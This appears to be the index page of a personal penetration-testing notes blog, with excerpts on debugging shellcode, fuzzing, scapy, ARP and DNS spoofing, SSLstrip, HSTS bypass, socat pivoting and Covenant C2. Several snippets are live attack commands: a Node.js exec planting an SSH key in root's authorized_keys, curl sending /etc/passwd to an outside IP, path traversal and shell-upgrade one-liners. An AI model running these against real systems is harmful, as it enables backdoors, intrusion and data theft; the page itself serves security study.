akde/infosec

Information security is ultimately about managing risk


  • https://gtfobins.github.io/gtfobins/snap/


  • Gen­er­al pur­pose debugger. Hint: gbd dis­ables ASRL by default.  Commands Gen­er­al set disassembly-flavor intel/att Process han­dling run runs a pro­gramm with­out parameters run `python -c 'print("a")'‘ runs a pro­gram with a parameter run < <(python -c 'print("a")') runs a pro­gram and enters the giv­en string into STDIN c continue si step one instruction Break­points break $f…


  • See also the Buffer Over­flow post Execute shellcode Sce­nario: You have shell­code. You want to run it to ana­lyze it in a debugger. On Windows Add the shell­code after the break­point with i686-w64-mingw32-cc s.c -o s.exex86_64-w64-mingw32-cc s.c -o s.exe and run it in a debugger. On Linux Add the shell­code after the break­point with gcc [-m32] s.c…


  • Bugs can only be found dur­ring fuzzing code, which is exe­cut­ed. But which parts of the code of a tar­get sys­tem is exe­cut­ing dur­ing a fuzzing ses­sion? And how we can improve our fuzzer to include also tests for code blocks which weren’t cov­ered before? Dynamorio We’ll use now Dynamor­io — a run­time code manip­u­la­tion…


  • Scapy fundamentals Com­mands for the inter­ac­tive scapy interpreter: conf.iface shows the cur­rent­ly used interface  conf.iface='tun0' sets the inter­face to use ls shows all protocols ls(TCP) shows all known head­ers for a giv­en protocol lsc shows build-in functions Details about a pack­et p: p shows gen­er­al information p.summary() shows also gen­er­al information p.show() shows each field and…


  • PE Portable Exe­cu­tung or DLL Dynam­ic Link­ing Libraries can be edit­ed to remove or add capa­bil­i­ties or own code. Read and modify a PE file The fol­low­ing Python3 script reads a file, prints out a head­er, mod­i­fied it to remove ASLR and write a new file with­out this flag. f = pefile.PE('filename.exe') print(hex(f.OPTIONAL_HEADER.DllCharacteristics)) // print as hex to…


  • This page con­tains var­i­ous unstruc­tured notes about cryp­to relat­ed things. General notes If you find some­where that some­thing should be ran­dom, but it isn’t, this is already an impor­tant finding. Stream Ciphers A stream cipher encrypts a clear­t­ext bit for bit or char­ac­ter for char­ac­ter (nor­mal­ly via XOR) with a secret key. It pro­duces a…


  • mit­m­dump is a proxy which can store and mod­i­fy content. Change content of a third-party site Sce­nario: You want to manip­u­late some con­tent from a web­site $tar­get visits. Per­form ARP-pois­en­ing with Bet­ter­cap, Etter­cap, the http_hijack.py script or some­how else. Start mit­m­dump in trans­par­ent mode:mitmdump --mode transparent --replace /~s/wars/trek/or alter­na­tive­ly to read the new con­tent from a…


  • Bypass HSTS is based on host­names. If a tar­get already vis­it­ed www.supersite.example, you can try to redi­rect the tar­get to a sim­i­lar domain which the brows­er nev­er vis­it­ed before and thus does­n’t has HSTS activated. Rewrite the Host HTTP head­er for your serv­er you want to imper­son­ate and add anoth­er char­ac­ter, e.g. wwww.supersite.example. You pre­pared…


  • SSLstrip works as proxy which replaces HTTPS ref­er­ences in HTTP, HTML, JS,.… respons­es with HTTP versions. Instal­la­tion: SSLstrip is old. Cre­ate a venv and install an old­er ver­sion of twist­ed: venv/bin/pip install Twisted==18.9.0 Remove HTTPS references via MitM Sce­nario: You want that $tar­get routes all HTTP traf­fic through your own system. Your sys­tem should remove each…


  • Socat If Socat is not on the tar­get sys­tem, upload a sta­t­ic bina­ry. This will lis­ten to port 5555 and for­ward it to the giv­en IP on the giv­en port deep­er in the tar­get’s network: socat -ddd TCP-LISTEN:5555,reuseaddr,fork TCP:10.4.247.215:5432 Proxychains ! If prox­y­chains is slow, espe­cial­ly while port scan­ning, try to reduce the fol­low­ing parameters:…


  • This is an overview blog post. MitM Etter­cap Bet­ter­cap L2 Scapy L2 mit­m­dump L3 Loki Var­i­ous VLAN attacks NAC Net­work admis­sion control Oth­er tools and notes: Use http_hijack.py in the P151 script direc­to­ry) to quick­ly set up a MitM. Check if you can See OSPF pack­ets. Inspect then in Wire­shark for the Auth Type field. If this is…


  • Net­work pack­et manip­u­la­tion shell and library for Python. (Github)


  • A Etter­cap suc­ces­sor, writ­ten in Go. Basic commands: Pas­sive ARP probing:  net.recon on net.recon off Active prob­ing: net.probe on net.probe off Sniff­ing: set net.sniff.output /tmp/sniff.pcap // optional net.sniff on net.sniff off Spoof­ing: set arp.spoof.targets $target1, $target2, $target3 arp.spoof on arp.spoof off DNS Spoof­ing: set dns.spoof.domains target.domain // the domain which should be resolved as… set…


  • Def­i­n­i­tions: A trunk con­nec­tion is a con­nec­tion between two switches. Tools Yersinia is a lay­er 2 mod­i­fi­ca­tion framework. VoIPHop­per is a sim­ple tool which can sniff VoIP traf­fic and out­put the VLAN ID from the VoIP net­work:voiphopper -c 0 -i eth0 Enumerate existing VLANs Start Yersiniayersinia -I Press g Select DTP Press 5 to see…


  • Cau­tion: Don’t change the MAC address via a remote ses­sion because of reasons… Linux ifconfig eth0 ether 00:01:02:03:04:05 Mac ifconfig en0 ether 00:01:02:03:04:05 Windows mac­shift e.g.


  • Tech­niques which decides if a new device can join the nor­mal or a spe­cial network. A cap­tive por­tal forces a client to an authen­ti­ca­tion page. After authen­ti­ca­tion in a nor­mal low-secu­ri­ty envi­ron­ment (where you can­not assume pre­con­fig­ured sys­tems) the authen­ti­ca­tion is usu­al­ly grant­ed to a com­bi­na­tion of MAC and IP. There­fore, try to sniff valid…


  • -NET attack frame­work: https://github.com/cobbr/Covenant Usage Cre­ate a lis­ten­er on the attack system. Add a launch­er to the listener. The attack sys­tem now pro­vides a pay­load file the vic­tim has to start. You can use Urban­Bish­op to inject the pay­load into a run­ning process. As soon as the pay­load is exe­cut­ed, Covenant will show on the dash­board…


  • Exe­cute command: const { exec } = require("child_process"); exec(“echo ‘ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHGb9AwdEdyFm6SBuQeCWyKMh+CRXlMMb4l1GKlB8rnWoIzVClRfeWZnYzkBG487Mhb3svrd/ouVpXKWsFiAFSl5OJie88WJGTWc+3sU3I/TvuTbDgrqWwUMpPZj0jYgq99iaQeJDNPjKTs3w0QEq7GT1q69DU3m1jDCggdHYzMMA8byVXpCUivN1o4tkABhqSeUeZgW2Q9n2NxKkHGNvbkAoutFho1g8azgvnHI9HOExd81ppdzuAVC/YOTRtUKIB3ZNnfYS1qE7xp4fn7a/BEA+N8Axl0aaXLVLi2/RI+nwotdDb/vDXotS2X6B781xE9JboCRvJzejACszlMcI3bPq+R6UY3XILHDl3jpY70IFrpmX/aeUZ4d8m6A79EwyaQuckyU5eTVx7BH/RwH7hmtd7DR6VcxqNzteI49Yq8HwpyBU62I2AmnMuEXEvcPQLiM4947I3pxyZkYtZ5kULcXuWTMOITvPrFNuzwwPW1x3NbR+EnSbLtk8Ybr5iDyM= root@imac2019-kali’ > /root/.ssh/authorized_keys”, (error, std­out, stderr) => {    if (error) {        console.log(‘error: ${error.message}‘);        return;    }    if (stderr) {        console.log(‘stderr: ${stderr}‘);        return;    }    console.log(‘stdout: ${std­out}‘);});


  • Write into a file: curl $url -o /tmp/f.txtcurl $url --output /tmp/f.txtcurl $url > /tmp/f.txt Post a local file: curl -X POST --data-binary @/etc/passwd http://192.168.49.53:21/ Exe­cute com­mand and return the result: curl -d q=`id` http://localhost:21/ With a header curl --header "Host: localhost" 10.10.10.10 Use the cor­rect path also with ../ (use­full for file tra­ver­sion attacks): curl --path-as-is $target:$port/public/../../../etc/passwd


About

Personal collection of some infosec stuff. Primary purpose of this site is to collect and organize for myself.

Note: Some content is not publicly visible due to copyright issues. Therefore, some links could be broken.

Checklists

Categories

Checklists: Ports

python -c 'import pty;pty.spawn("/bin/bash")';

python3 -c 'import pty;pty.spawn("/bin/bash")';